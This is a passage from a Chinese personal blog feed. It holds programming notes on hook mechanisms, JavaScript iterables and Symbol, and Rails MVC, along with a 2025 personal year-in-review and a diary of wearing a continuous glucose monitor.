@app.before_request 做的额外处理就是：自动把 check_auth 这个函数存进注册表，相当于替你调用了注册函数，等价于:

def check_auth():
    if not current_user.is_authenticated:
        return redirect('/login')

# 装饰器替你做了这一步
app.register_hook('before_request', check_auth)

优点：

代码意图清晰，Hook 就在函数旁边
框架统一管理，不会忘记注册

缺点：

注册时由框架控制，不够灵活
框架耦合度高，换框架要重写

子类覆写方法

父类预先定义好空方法作为 Hook Point，子类通过 @Override 覆写这个方法，覆写本身就完成了注册，不需要手动调用任何注册函数。当执行流到达父类中调用该方法的那一行时，Java 运行时自动找到子类的实现并执行

// 父类，框架写的
class Animal {

    // Hook Point，空方法，等着子类来填
    void onEat() { }

    // 框架的业务逻辑
    final void eat() {
        System.out.println("开始吃东西");
        onEat();                           // ← Hook Point，触发时调子类实现
        System.out.println("吃完了");
    }
}

// 子类，开发者写的
class Dog extends Animal {

    @Override
    void onEat() {                         // ← 覆写 = 注册 Hook Function
        System.out.println("狗狗摇尾巴");   // ← Hook Function 的逻辑
    }
}

关于 super：上面的例子父类 onEat 是空的，调不调用 super.onEat() 结果一样。但在真实框架里 (如 Android 的 onCreate)，父类方法含有框架必须执行的初始化逻辑，此时必须调 super，否则框架内部状态没准备好，会报错或行为异常

优点：

IDE 补全友好
结构清晰，每个 Hook Point 对应一个方法名

缺点：

单继承限制，一个 Hook Point 只能有一个实现
当父类方法含有框架逻辑时，必须记得调 super，否则破坏框架状态

Monkey Patch/运行时替换

Monkey Patch 是一个术语，意思是 在程序运行时，动态修改已有的代码，而不改动原始源文件。

这样就不需要框架提前设计 Hook Point，而是在与运行时直接替换对象上的某个函数引用。先把原函数保存起来，再用一个新函数覆盖原来的属性名。新函数在前后插入自己的逻辑，中间调用原函数，完成包裹。这是一种侵入式的挂载方式，常用于测试 mock 和临时打补丁

const api = {
    fetchUser(id) { return db.query(id) }  // 原始函数
}

const original = api.fetchUser             // 1. 先把原函数保存起来

api.fetchUser = function(id) {             // 2. 用新函数替换掉原属性名
    console.log('before:', id)             // ← 前置逻辑
    const result = original(id)            // 3. 调用原函数，保证原有逻辑不丢失
    console.log('after:', result)          // ← 后置逻辑
    return result
}

优点：

无需框架支持，任何代码都能挂
灵活，可以临时挂、用完撤销

缺点：

原函数引用管理复杂，容易出 bug
调试困难，不建议在生产代码中使用

小结

现在就能够理解 LangChain 里的 before_model、before_agen 了，框架在 Agent 的执行流程中预留了一系列 Hook Point，通过注册 callback function 在这些位置插入自己的逻辑 (打日志、修改输入、监控性能等)

Summary of 2025

Mon, 09 Feb 2026 18:35:17 +0800

时间真的好快，似乎还没好好的感受 2025 就如此过去了，于是想起了将 2025 年的生活进行一个总结，让我好好的回顾这一年发生的事情，可能就不会对 2025 年这么的虚无了。更多的是为了自己未来看到这篇文章，能够在脑海中想起今年所发生的事情

序言

今年所发生的变化比去年所发生的一切似乎动荡了许多，从个体层面到环境层面都发生了巨大的变化。

2025 年最大的矛盾点在于：我能在健身房对自己下狠手，却在面对大段空白时间时感到行动力瘫痪。这种‘自由带来的眩晕’是我 2026 年需要解决的首要 Bug。

个体层面

城市从深圳 –> 广州，进行了专升本考试，虽然没有考上公办，但是我也清楚自己已经尽力了，900 多的排名，但广东省的公办名额就 200 多个，但是也不懊悔，目前也没有读研的想法，想着出去找找工作，想和对象住在一起了。

专业也从偏向运维的云计算技术应用变为了软件工程，学习到了更加底层的开发知识，之前所学习的运维知识像是一块拼图，等待我去寻找更多块拼图，让我的计算机学习框架变得更加完整。

环境层面

今年是 AI Coding 爆发的一年，年初的以 Deepseek 开源推理模型把 “能力 X 成本"天花板打穿，可以在学习新语言新知识的时候，可以尽情的对话，去提问，去学习，不用担心账单的问题

使用的 AI 编程工具也发生了很多变化:

Cursor -> Claude Code -> Codex -> OpenCode。但是更多的情况下还是用它们帮我去修 Bug，因为自己是一个编程新手，之前并没有很深的接触过开发知识，所以不想让自己全程 Vide Coding，让 AI 去帮我实现全部步骤和功能，我目前的项目的开发项目并且从开发中学习项目的流程可能是这样:

先想好这个项目需要去做什么，去完成什么功能，然后去和 Gemini 进行讨论，从一些片面浅层的想法让他帮我去深入功能的实现逻辑，让 Gemini 去将我的想法转换成实际的可实现的逻辑
打开 Figma 的 Make 功能，将 Gemini 和我的想法结合在一起，让它去给我生成一版前端界面，然后慢慢去修改整个 UI 布局，找到该项目的主色，然后在慢慢去调整页面
然后转为代码层面就是用代码将 Figma 的设计稿用代码实现出来 (当然我知道有一系列的 MCP 可以帮我完成这个步骤)，再实现的时候遇到不会的去翻找官方文档，难以理解的再去 AI 搜索解释, 用宝玉老师的引导式学习伙伴的 Prompt，去慢慢深入学习
然后去将整个项目给实现起来，虽然没有整个 Vide Coding 那么的快。但是自己的一些不需要维护的项目，只是一次性使用的网站，就使用 AI 帮我一次性构建起来

我不追求 Vide Coding 的快感，我更在意 AI 作为一个 ‘24小时待命的苏格拉底’ ，如何帮我补齐从运维到开发之间的知识鸿沟。

自我的构建

拥抱实体记录

今年看到了我全面抛弃了数字记录这篇文章，然后买了文中的同款笔记本，开始将我的生活记录在本子中，之前一直都是记录到 Obsidian 中，但自己并不会打开定期回顾，再加上写在实体本子中，每天可以打开，也更加有成就感

挫折中成长

在年初的时候，去了一家公司进行全栈工程师的面试，当时的我，已经知道自己的面试会不成功，但是很庆幸自己走出了这一步，一个只对前端了解一点的人，上来的面试题目就是一个星期时间，去学 Ruby on Rails，我也不知道当时哪来的勇气，一个只看过 HTML 和简单 CSS 的人，敢去开始这场面试，从官方文档入手，因为很多基础的前端知识都不明白，这个项目基本都是用 Cursor 写的，然后再去理解代码，所以在面试中更加深入的问题就回答不上。

也正是这场面试，打破了我的舒适圈，开始慢慢去学习一些底层代码，了解到了自己所薄弱点，找到了自己工作的方向，从刚开始完全看不懂文档，到后面将知识点串起来，并且慢慢的去理解其中的代码。也是这次面试让我暴露出当我使用 AI 编程的时候，遇到问题只会过度的去追问 AI，而这个解决方案可能就躺在了论坛的某个地方，过度的依赖 AI，只会让自己对自己的项目越来越不了解。

开始并坚持健身

今年的 7 月份，开始去健身房锻炼，一开始就是为了减肥，到今年年底也从 75 kg -> 65 kg，改变了自己的饮食结构，降低了碳水的摄入数量。也不会发生中午吃完饭昏昏欲睡的状况，也舍弃掉了午睡以及喝咖啡的习惯。

因为健身更加关注自己的身体情况，因为晒不了很久的太阳，所以开始吃维生素 D3。为了健身的恢复以及睡眠质量开始吃甘氨酸镁，减少床上玩手机的情况，也让自己的睡眠质量好了很多。

书籍输入

年初的给自己立下读 10 本书的要求似乎并没有完成，但是至少比 2024 年看的书多一些，以下是我在 2025 年读完的书籍

《莫斯科绅士》(是我今年最喜欢的一本书了，从<文化有限>中了解到了这本书)

像伯爵在方寸酒店里构建生活一样，2025 年的我也在考试的局限与面试挫败中，通过代码和哑铃，构建出了一篇属于我的、不被环境左右的秩序
《厨房》
《舞舞舞》
《控糖革命》
《长日将近》

展望·2026

职业方向: 希望自己能够拿下人生第一个前端实习 offer

虽然网络上每个工具的推出，每个模型的推出，都会有一句话处于讨论风暴的中心，那就是 前端已死，我自己也体验过 Gemini 3.0 Pro 的前端能力，说实话，确实是能够完美的代替我，我肯定知道 AI 总有一天能够代替我，但是如果我因为这些话去固步自封，不敢于去开始，不敢于去尝试的话，那不管 AI 能不能代替我，但我肯定知道我一定不会进步，一定不会去找到自己在人生中所喜欢所热爱的事业。

自我效率: 希望自己能花更多时间在提升自己上

给自己在时间方面更多的约束，每天都要进行手账记录，每天的开始先花几分钟去规划今天一天的任务，并且写到手账本上，减少自己社交媒体的输入，杜绝短视频。希望明年自己 GitHub 贡献热力图能够更加的"绿”。

未来展望

2026 年初出现了一个新产品 – OpenClaw，当时的出现我马上就去搭建了一个，但是我当前实在是想不到它在我的生活中有什么用处，我就马上卸载了。后面推特以及朋友每天的对我渲染这个产品是多么的颠覆性，我就开始焦虑了，我想着我一定要跟上这个热点，如果我没有跟上，我就会被淘汰，花了几天的时间重新去搭建，似乎现在又放在电脑中吃灰，但是不可否认的是，OpenClaw 确实带来了颠覆性的变化，只是目前我的生活中，暂时没有它的用武之地。

希望自己新的一年里，不要太过于追随所谓的 “潮流”，可以等一个月的时间，看这个产品的后续，不要给自己带来过多的焦虑，专注于当下的变化。最重要的是保持健身，身体健康是第一位！活在当下！

控糖日记

Fri, 07 Nov 2025 19:45:39 +0800

好久不见，我真的没脸回来，断更这么久 😭(好吧开玩笑 😝 的)

缘起

之前在拾月的博客中了解到杰西·安佐斯佩的《控糖革命》这本书，该书主要介绍了血糖(尤其是血糖峰值)是如何影响健康的，并提供各种控糖技巧，然后在这本书中提及到了一个名为「动态血糖仪」的设备，看到拾月的用后体验之后，我就一直想买一个来试试看，因为家里有人有糖尿病，再加上自己一直害怕扎手指测血糖的方式，这个时候宣传"无感"的动态血糖仪就满足了我的所有需求(当然弊端就是没有扎手指的准)，但是我没有使用雅培的动态血糖仪，我买的是相对便宜的欧态

《控糖革命》

佩戴

拿到手就是一个小装置，这个就是它的发射器

这就是动态血糖仪

然后扎的位置就大概在上课的时候，手肘放在桌子上，垂直的举手的时候，大臂的正下方，那块地方的拜拜肉比较多，最好是把它自带的固定贴给贴上，这样出汗呀，洗澡之后可能不会这么容易掉，掉了之后也不能重新装回去，只能够作废。

概览

感受

在要扎的位置消毒好，然后将发射器对着，然后直接按下按钮，动态血糖仪直接会贴在你的手臂上，就像给蚂蚁咬了一下的痛觉 (比起佩戴可能 14 天之后将血糖仪撕下来的时候，胶粘的更加痛)

健身

在我日常的健身中，像是卧推，高位下来这种用不到肱三头肌的时候，这个动态血糖仪是完全无感的，但是在绳索下拉，也就是肱三头肌发力的时候，就会有点疼，虽然也是能够接受的疼，但是我还是有点害怕这个针会不会断在里面，所以我 14 天基本没有怎么锻炼过肱三头肌

结束

撕下来的时候发现，其实扎入体内的就是这么一个小东西，还是软软的。

食 (理论)

血糖峰值危害

在我们日常生活中，最会引起血糖上升的食物可能就是碳水化合物(碳水化合物=淀粉+纤维+糖类 (葡萄糖、果糖、蔗糖))了。当血糖失调时，身体就会出现"葡萄糖峰值"。在葡萄糖峰值出现期间，我们体内的葡萄糖会迅速增加，血糖会在大约 1 个小时内升高超过 30 mg/dL，然后迅速降低。这个峰值对人体的危害极大。所以我这次的佩戴血糖仪需要完成的任务就是尽可能的找到自己舒适的饮食方案，让自己的血糖不要失调

其中纤维也是糖，由葡萄糖组成，但是纤维是不能重新变回葡萄糖的，也就不会为人体提供能力。然而，人体需要纤维，因为纤维在帮助消化、保持健康的肠胃运动、维持微生物健康等方面发挥着重要作用

降低葡萄糖峰值的饮食方式将会减少炎症的发生，同时也会降低患炎症相关疾病的风险。

控糖技巧

进食顺序: 先吃纤维，然后蛋白质和脂肪，最后吃淀粉和糖类。因为纤维会抑制淀粉酶的作用，让淀粉被转化为葡萄糖的速度变慢。纤维能够减缓胃的排空速度，当有纤维存在时，食物从胃进入小肠的速度会更慢。纤维会在小肠内创造一个黏性的网状解构，而这种网状结构会使葡萄糖进入血液的速度变慢
饭前喝点醋: 醋酸和纤维一样可以抑制淀粉酶的作用
饭后运动: 散步 20 分钟或者 50 个深蹲。因为运动会让肌肉吸收更多的葡萄糖
少吃加工食品。吃整个水果一定比喝果汁更好，因为在榨汁的过程中会将水果中的纤维给破坏掉。但是我还是喜欢在早上健身前吃一小杯麦片和一根香蕉，能够看得出麦片对血糖的影响，但是因为不吃点"糖"，没有力气去健身。

食 (实际)

书中反复提及进食顺序的重要性，一定要先吃纤维，然后蛋白质和脂肪，最后吃淀粉和糖类，我一开始也是这么吃的，先把青菜吃完，再吃一点肉，最后肉混着米饭一起吃，后来发现血糖还是有明显上升，后面发现是我吃的太多饭了 🤡，后面我的饮食顺序变成了，先喝一碗汤，再吃青菜，这个时候基本就有饱腹感了，然后吃几口肉吃一小口米饭，这样重复，甚至有些时候中午直接不吃米饭，因为我害怕掉头发，我晚上会吃米饭，但是也是几小口的量

2025/10/21

这一天的血糖就没有超过 7.9, 早上的血糖上升是因为我吃了一碗麦片一根香蕉去健身所导致的，中午的血糖变化，你没有看错，这就是饭后散步的好处，我正常吃完中午饭，走到学校快递站，在走到校外的零食店买了一瓶外星人电解质水，然后再走回来学校宿舍坐一会就直接去上课的情况

2025/10/22 血糖巅峰

在这次血糖最高峰的时候就是，我吃了一大碗米饭，然后直接去上课，在教室里面坐着的时候，看到血糖已经到 10.3 了，然后偷偷跑到外面去做了 100 个深蹲，血糖就开始下降了

2025/10/23 健康晚餐

试了一顿没有米饭的晚餐，血糖基本上没有什么变化

2025/10/24 汉堡

这天实在忍不住了，就在下午饭的时候吃了个塔斯汀汉堡，吃完之后做了 50 个开合跳，然后发现血糖后面一直不下去是因为我一直在喝它的有糖百事可乐 🤡

终

后面的血糖基本就是稳定在 3.9 - 7.8 的范围之中了，这也是用自己来做实验，很享受这 14 天 (除了最后一天撕下来的时候，那我的那一块手臂上的毛全给撕下来了除外，真的很痛啊，我的毛毛)。可能是我的个人习惯的问题，我基本上不怎么吃甜食，甚至朋友推荐我吃的东西，我可能第一嘴说的不是好吃而是好甜，可能减少糖的舍入真的会让自己的皮肤变好，至少在我身上是如此，也不经常长痘。

当然，我认为只要你没有很严重的糖尿病，就不用这么严格的遵守控糖革命书中的建议，人嘛，还是要该吃吃该喝喝，但是呢还是要有个度，比如一个星期吃一根冰淇淋，两个星期喝一杯奶茶，还是开始最重要啦

附上一只听话可爱的喵喵

引用

极客死亡计划 - 控糖革命
拾月 - 雅培瞬感动态血糖仪使用体验

上面两个都是我最喜欢的博客主，大家如果感兴趣的话，也可以去看看哦

Iterable Object In JavaScript

Fri, 30 May 2025 10:39:26 +0800

一些粗略地见解，如有写错或低级错误，欢迎您的指正。我们在去学习 iterable object ，首先我们要去了解一下什么是 iteration。

Iteration

迭代是重复的一个过程，以生成一系列 (可能是无限的) 结果，每次重复这个过程称为一次迭代，每次迭代的结果成为下一次迭代的起点

循环就是执行迭代最常用的语言结构，以下伪代码通过一个 for 循环"迭代"了 begin 和 end 之间的代码行三次，并使用值作为增量

a := 0
for i := 1 to 3 do       { loop three times }
begin
    a := a + i;          { add the current value of i to a }
end;
print(a);                { the number 6 is printed (0 + 1; 1 + 2; 3 + 3) }

Iteration protocols

Iteration protocols 不是新的内置或语法，而是一套协议。任何对象只需遵循特定的约定规范，即可实现这些协议。

共有两种协议： iterable protocol 和 iterator protocol.

The iterable protocol

可迭代协议允许 JavaScript 对象定义或自定义它们的迭代行为，例如在 for...of 结构中有哪些值被循环。一些内置类型同时是内置的可迭代对象，并且有默认的迭代行为，比如 Array 或者 Map，而其他的内置类型则不是 (比如 Object)

内置的可迭代对象有:

为了实现可迭代，对象必须实现 [Symbol.iterator]() 方法，这意味着该对象 (或其原型链上的某个对象) 必须有一个键为 [Symbol.iterator] 的属性，可通过常量 Symbol.iterator 访问该属性： [Symbol.iterator]() 零参数函数，返回一个符合迭代器协议的对象

每当需要迭代一个对象时 (例如在 for...of 循环的开头)，就会调用该对象的 [Symbol.iterator]() 方法 (不带参数)，并使用返回的迭代器来获取要迭代的值

在调用这个零参数函数时，它是作为可，迭代对象上的一个方法被调用的。因此，在函数内部，this 关键字可用于访问可迭代对象的属性，以决定在迭代过程中提供哪些属性。就像下方中的

current: this.from,
last: this.to,

访问的就是 range 这个可迭代对象的 from 和 to 属性。等于 range.to 和 range.from

The iterator protocol

迭代器协议 定义了产生一系列值 (无论是有限个还是无限个) 的标准方式，当值为有限个时，所有的值都被迭代完毕后，则会返回一个默认的返回值

只有实现了一个拥有一下语义 (semantic) 的 next() 方法，一个对象才能称为迭代器

next() 无参数或接受一个参数的函数，并返回符合 IteratorResult 接口的对象。如果在使用迭代器内置的语言特征（例如 for...of）时，得到一个非对象返回值（例如 false 或 undefined），将会抛出 TypeError（"iterator.next() returned a non-object value"）。

done (可选) 迭代器返回的任何 JavaScript 值。done 为 true 时可省略。

实际上，两者都不是严格要求的；如果返回没有任何属性的对象，则实际上等价于 { done: false, value: undefined }。

例子

例如，我们有一个对象，它并不是数组，但是看起来很很适合时候 for...of 循环。比如一个 range 对象，它代表了一个数字区间:

let range = {
  from: 1,
  to: 5,
};

// 我们希望 for..of 这样运行：
// for(let num of range) ... num=1,2,3,4,5

为了让 range 对象可迭代我们需要为对象添加一个名为 Symbol.iterator 的方法 (一个专门用于使对象可迭代的内建 symbol)。

当 for..of 循环启动时，它就会调用这个方法 (如果没找到，就会报错)。这个方法必须返回一个 迭代器 (iterator)– 一个有 next 方法的对象
从此开始，for...of 仅适用于这个被返回的对象
当 for..of 循环希望取得下一个数值，它就调用这个对象的 next() 方法。
next() 方法返回的结果的格式必须是 {done: Boolean, value: any}，当 done=true 时，表示循环结束，否则 value 是下一个值。

这是带有注释的 range 的完整实现:

let range = {
  from: 1,
  to: 5,
};

// 1. for..of 调用首先会调用这个：
range[Symbol.iterator] = function () {
  // ……它返回迭代器对象（iterator object）：
  // 2. 接下来，for..of 仅与下面的迭代器对象一起工作，要求它提供下一个值
  return {
    current: this.from,
    last: this.to,

    // 3. next() 在 for..of 的每一轮循环迭代中被调用
    next() {
      // 4. 它将会返回 {done:.., value :...} 格式的对象
      if (this.current <= this.last) {
        return { done: false, value: this.current++ };
      } else {
        return { done: true };
      }
    },
  };
};

// 现在它可以运行了！
for (let num of range) {
  alert(num); // 1, 然后是 2, 3, 4, 5
}

请注意可迭代对象的核心功能：关注点分离。

range 自身没有 next() 方法。
相反，是通过调用 range[Symbol.iterator]() 创建了另一个对象，即所谓的“迭代器”对象，并且它的 next 会为迭代生成值。

因此，迭代器对象和与其迭代的对象是分开的

这里例子中的可迭代对象(iterable object)是 range，因为它有 [Symbol.iterator] 方法，当我们 for(let num of range) 的时候 , js 会自动调用 range[Symbol.iterator]，这个方法返回的对象（就是有 current, last, next 这些属性的方法的对象），才是迭代器对象。与其迭代的对象：指的是拥有 [Symbol.iterator] 的本体 (这个例子就是 range)

所以我们可以将它们合并，并使用 range 自身作为迭代器来简化代码.

let range = {
  from: 1,
  to: 5,

  [Symbol.iterator]() {
    this.current = this.from;
    return this;
  },

  next() {
    if (this.current <= this.to) {
      return { done: false, value: this.current++ };
    } else {
      return { done: true };
    }
  },
};

for (let num of range) {
  alert(num); // 1, 然后是 2, 3, 4, 5
}

现在 range[Symbol.iterator]() 返回的是 range 对象自身：它包括了必需的 next() 方法，并通过 this.current 记忆了当前的迭代进程。

但缺点是，现在不可能同时在对象上运行两个 for..of 循环了：它们将共享迭代状态，因为只有一个迭代器，即对象本身。但是两个并行的 for..of 是很罕见的，即使在异步情况下。

字符串是可迭代的

数组和字符串是使用最广泛的内建可迭代对象，就像上面所说的。

可以使用 for...of 来遍历它的每个字符:

for (let char of "test") {
  // 触发 4 次，每个字符一次
  alert(char); // t, then e, then s, then t
}

显式调用迭代器

这段代码创建了一个字符串迭代器，并“手动”从中获取值

let str = "Hello";

// 和 for..of 做相同的事
// for (let char of str) alert(char);

let iterator = str[Symbol.iterator]();

while (true) {
  let result = iterator.next();
  if (result.done) break;
  alert(result.value); // 一个接一个地输出字符
}

可迭代（iterable）和类数组（array-like）

iterable 如上所述，是实现了 Symbol.iterator 方法的对象
Array-like 是有索引和 length 属性的对象，所以它们看起来很像数组

字符串即是可迭代的（for..of 对它们有效），又是类数组的（它们有数值索引和 length 属性）。

但是一个可迭代对象也许不是类数组对象。反之亦然，类数组对象可能不可迭代。

例如，上面例子中的 range 是可迭代的，但并非类数组对象，因为它没有索引属性，也没有 length 属性。

下面这个对象则是类数组的，但是不可迭代：

let arrayLike = {
  // 有索引和 length 属性 => 类数组对象
  0: "Hello",
  1: "World",
  length: 2,
};

// Error (no Symbol.iterator)
for (let item of arrayLike) {
}

可迭代对象和类数组对象通常都 不是数组，它们没有 push 和 pop 等方法。

Array. From

有一个全局方法 Array.from 可以接受一个可迭代或类数组的值，并从中获取一个“真正的”数组。然后我们就可以对其调用数组方法了。

let arrayLike = {
  0: "Hello",
  1: "World",
  length: 2,
};

let arr = Array.from(arrayLike); // (*)
alert(arr.pop()); // World（pop 方法有效）

在 (*) 行的 Array.from 方法接受对象，检查它是一个可迭代对象或类数组对象，然后创建一个新数组，并将该对象的所有元素复制到这个新数组。

如果是可迭代对象，也是同样：

// 假设 range 来自上文的例子中
let arr = Array.from(range);
alert(arr); // 1,2,3,4,5 （数组的 toString 转化方法生效）

Array.from 的完整语法允许我们提供一个可选的“映射（mapping）”函数：

Array`.``from``(`obj`[``,` mapFn`,` thisArg`]``)`

可选的第二个参数 mapFn 可以是一个函数，该函数会在对象中的元素被添加到数组前，被应用于每个元素，此外 thisArg 允许我们为该函数设置 this [[数组方法 - info#大多数方法都支持 “thisArg”]]

// 假设 range 来自上文例子中

// 求每个数的平方
let arr = Array.from(range, (num) => num * num);

alert(arr); // 1,4,9,16,25

现在我们用 Array.from 将一个字符串转换为单个字符的数组：

let str = "𝒳😂";

// 将 str 拆分为字符数组
let chars = Array.from(str);

alert(chars[0]); // 𝒳
alert(chars[1]); // 😂
alert(chars.length); // 2

与 str.split 方法不同，它依赖于字符串的可迭代特性。因此，就像 for..of 一样，可以正确地处理代理对（surrogate pair）。（译注：代理对也就是 UTF-16 扩展字符。）

总结

可以应用 for..of 的对象被称为 可迭代的

技术上来说，可迭代对象必须实现 Symbol.iterator 方法。
- obj[Symbol.iterator]() 的结果被称为 迭代器（iterator）。由它处理进一步的迭代过程。
- 一个迭代器必须有 next() 方法，它返回一个 {done: Boolean, value: any} 对象，这里 done:true 表明迭代结束，否则 value 就是下一个值。
Symbol.iterator 方法会被 for..of 自动调用，但我们也可以直接调用它。
内建的可迭代对象例如字符串和数组，都实现了 Symbol.iterator。
字符串迭代器能够识别代理对（surrogate pair）。（译注：代理对也就是 UTF-16 扩展字符。）

有索引属性和 length 属性的对象被称为 类数组对象。这种对象可能还具有其他属性和方法，但是没有数组的内建方法。 Array.from(obj[, mapFn, thisArg]) 将可迭代对象或类数组对象 obj 转化为真正的数组 Array，然后我们就可以对它应用数组的方法。可选参数 mapFn 和 thisArg 允许我们将函数应用到每个元素。

📖 参考文献

Model View Controller

Tue, 20 May 2025 19:01:55 +0800

一些粗略地见解，如有写错或低级错误，欢迎您的指正

我可以觉得 Ruby on Rails 中的 MVC 是最有趣的一个技术了 (主要是因为之前并没有了解过 MVC 这个软件架构模式)，一开始有点难懂，后面就慢慢的有趣起来了。

什么是 MVC 呢

MVC 全称是 Model-View-Controller，是一个软件架构模式，是一种 软件设计模式，常用于开发用户界面，它将相关的程序逻辑分为了三个相关联的元素

Model：信息的内部表达形式。
View：向用户展示信息并接受用户输入的界面
Controller：连接模型与视图的软件逻辑

Rails 中的 MVC 架构组织

Rails 框架采用 Model-View-Controller (MVC) 架构组织。通过 MVC，我们有三个主要概念，大部分代码都在其中:

Model - 管理应用程序中的数据。通常是你的数据库表
View - 处理以 HTML、JSON、XML 等不同格式呈现的响应
Controller - 处理用户交互和每个请求的逻辑

Model

是 MVC 模式的核心组件。它是应用程序的动态数据结构，独立于用于界面。它可以直接管理应用程序的数据、逻辑和规则。在 Smalltalk-80 中。模型类型的设计完全是由程序员来完成。在 WebObjects、Rails 和 Django 中，模型类型通常代表应用程序数据库中的一个表。就是上面中提到的 Model 在 Rails 中通常是你的数据库表。Model 对于保持数据的组织性和一致性至关重要。它可确保应用程序的数据按照已经定义的规则和逻辑运行

$ bin/rails generate model Product name:string

这行代码就是创建一个 Product 模型，然后生成数据库迁移文件，用于创建 products 表，并添加 name 字段 (类型为 string)

Active Record 就是 MVC 中的 M 的一部分

View

信息的任何表达形式，如图标、示意图或表格。在 Rails 和 Django 中，View 的角色是由 HTML 模板所承担的；Rails 中的 View 是与 Controller Action 是一对一的关系

def new
  @topic = Topic.new
end

Rails 会 自动查找并渲染 对应的视图文件，这个例子就是渲染对应的 new.html.erb 文件

Action View 是 MVC 中的 V。 Action Controller 和 Action View 一起处理 web 请求。Action Controller 负责与模型层进行通信并检索数据。然后，Action View 负责使用这些数据渲染响应体以响应 web 请求

Controller

接受输入并将其转换为 Model 或 View 的命令

在 Rails 中，从客户端发往服务端应用的请求首先会被发送到一个"路由器" ( "router")，该路由器会将请求映射到特定控制器的特定方法。在这个方法内部，该控制器会处理请求数据及相关模型对象，并通过视图准备相应内容。通常来说，每个视图都会关联一个对应的控制器。

JavaScript Symbol

Tue, 20 May 2025 18:57:04 +0800

一些粗略地见解，如有写错或低级错误，欢迎您的指正

根据规范，只有两种原始类型可以用作对象属性键:

字符串类型
Symbol 类型

如果不用这两种原始类型作为对象的属性键，例如[[数据类型 - info#Number 类型|数字]]，它会被自动转换为字符串。所以 obj[1] 与 obj["1"] 相同，而 obj[true] 与 obj["true"] 相同。

Symbol

“symbol” 值表示唯一的标识符可以使用 Symbol() 来创建这种类型的值：

let id = Symbol();

在我们创建时，也可以给 symbol 一个描述 (也称为 symbol 名)

// 变量 id 是一个 Symbol 类型的变量，其描述为 "id"。
let id = Symbol("id");

Symbol 保证是唯一的。即使我们创建了许多相同描述的 symbol，它们的值与使不同的。描述仅仅只是一个标签，不会影响任何东西

let id1 = Symbol("id");
let id2 = Symbol("id");
console.log(id1 === id2); // false

Symbol 属性与字符串属性的区别

字符串键会覆盖同名属性:

let user = { id: 1 };
user.id = 2; // 覆盖原值
console.log(user.id); // 2

Symbol 键不会覆盖同名属性 (因为它表示唯一的标识符)

let user = { id: 1 };
let idSymbol = Symbol("id");
user[idSymbol] = 2; // 添加新属性，不影响字符串键id
console.log(user.id); // 1
console.log(user[idSymbol]); // 2

Symbol 类型的属性键不能用点语法访问，只能通过方括号语法 obj[symbolKey] 来访问对应的 Symbol 属性。

例如，user.id 会访问字符串键"id"，而不是 Symbol 键 id。因此，访问 Symbol 属性必须使用方括号和对应的 Symbol 变量，如 user[id]。

[!NOTE] symbol 不会被自动转换为字符串 JavaScript 中的大多数值都支持字符串的隐式转换。例如，我们可以 alert 任何值，都可以生效。Symbol 比较特殊，它不会被自动转换。例如，这个 alert 将会提示出错
Let id = Symbol ("id");
Alert (id); // 类型错误：无法将 symbol 值转换为字符串。
如果真的很想显示一个 symbol，我们需要在它上面调用 .toString() 或者获取 symbol.Description 属性，只显示描述 (description)
Let id = Symbol ("id");
Alert (id.ToString ()); // Symbol (id)，现在它有效了
Alert (id. Description); // id

“隐藏"属性

Symbol 允许我们创建对象的 “隐藏”属性，代码的任何其他部分都不能意外或重写这些属性

例如，如果我们使用的是属于第三方代码的 user 对象，我们想要给它们添加一些标识符。

我们可以给它们使用 symbol 键：

let user = {
  // 属于另一个代码
  name: "John",
};

let id = Symbol("id");

user[id] = 1;

alert(user[id]); // 我们可以使用 symbol 作为键来访问数据

由于 user 对象属于另一个代码库，所以向它们添加字段是不安全的，因为我们可能会影响代码库中的其他预定义行为。但 symbol 属性不会被意外访问到。第三方代码不会知道新定义的 symbol，因此将 symbol 添加到 user 对象是安全的。

对象字面量中的 symbol

如果我们要在对象字面量 {...} 中使用 symbol，则需要使用方括号把它括起来。

就像这样：

let id = Symbol("id");

let user = {
  name: "John",
  [id]: 123, // 而不是 "id"：123
};
这是因为我们需要;

Symbol 在 for… In 中会被跳过

symbol 属性不参与 for..in 循环。例如

let id = Symbol("id");
let user = {
  name: "John",
  age: 30,
  [id]: 123,
};

for (let key in user) alert(key); // name, age（没有 symbol）

// 使用 symbol 任务直接访问
alert("Direct: " + user[id]); // Direct: 123

Object.keys(user) 也会忽略它们。这是一般“隐藏符号属性”原则的一部分。如果另一个脚本或库遍历我们的对象，它不会意外地访问到符号属性。

相反，Object.assign 会同时复制字符串和 symbol 属性：

let id = Symbol("id");
let user = {
  [id]: 123,
};

let clone = Object.assign({}, user);

alert(clone[id]); // 123

全局 symbol

通常所有的 symbol 都是不同的，即使它们有相同的名字。但有时我们想要名字相同的 symbol 具有相同的实例。例如，应用程序的不同部分想要访问的 symbol "id" 指的是完全相同的属性。

这里有一个 全局 symbol 注册表。我们可以在其中创建 symbol 并在稍后访问它们，它可以确保每次访问相同名字 symbol 时，返回的都是相同的 symbol。

Symbol. For (key)

要从注册表中读取（不存在则创建）symbol，要使用 Symbol.for(key)。

在 JavaScript 引擎维护的 全局 symbol 注册表中，如果有一个描述为 key 的 symbol，则返回该 symbol，否则将创建一个新 symbol（Symbol(key)），并通过给定的 key 将其存储在注册表中。

// 创建或获取全局注册的 Symbol
let sym1 = Symbol.for("id"); // 注册表中没有 "id"，创建新 Symbol
let sym2 = Symbol.for("id"); // 找到已注册的 "id"，返回同一 Symbol
console.log(sym1 === sym2); // true

注册表内的 symbol 被称为 全局 symbol。

Symbol. KeyFor

按名字返回一个 symbol。相反，通过全局 symbol 返回一个名字，我们可以使用 Symbol.keyFor(sym)：

// 通过 name 获取 symbol
let sym = Symbol.for("name");
let sym2 = Symbol.for("id");

// 通过 symbol 获取 name
alert(Symbol.keyFor(sym)); // name
alert(Symbol.keyFor(sym2)); // id

Symbol.keyFor 内部使用全局 symbol 注册表来查找 symbol 的键。所以它不适用于非全局 symbol。如果 symbol 不是全局的，它将无法找到它并返回 undefined。

📖 参考文献

https://zh.javascript.info/symbol

<挪威的森林>

Wed, 25 Dec 2024 15:28:42 +0800

许久未见，最近一直在忙于备考学习，但是也在这时间段中开始了一些文章的编写，但是一直没有编写结尾，等忙完了会开始正常更新折腾日记的，谢谢！欢迎您的来信

挪威的森林

给自己的话：

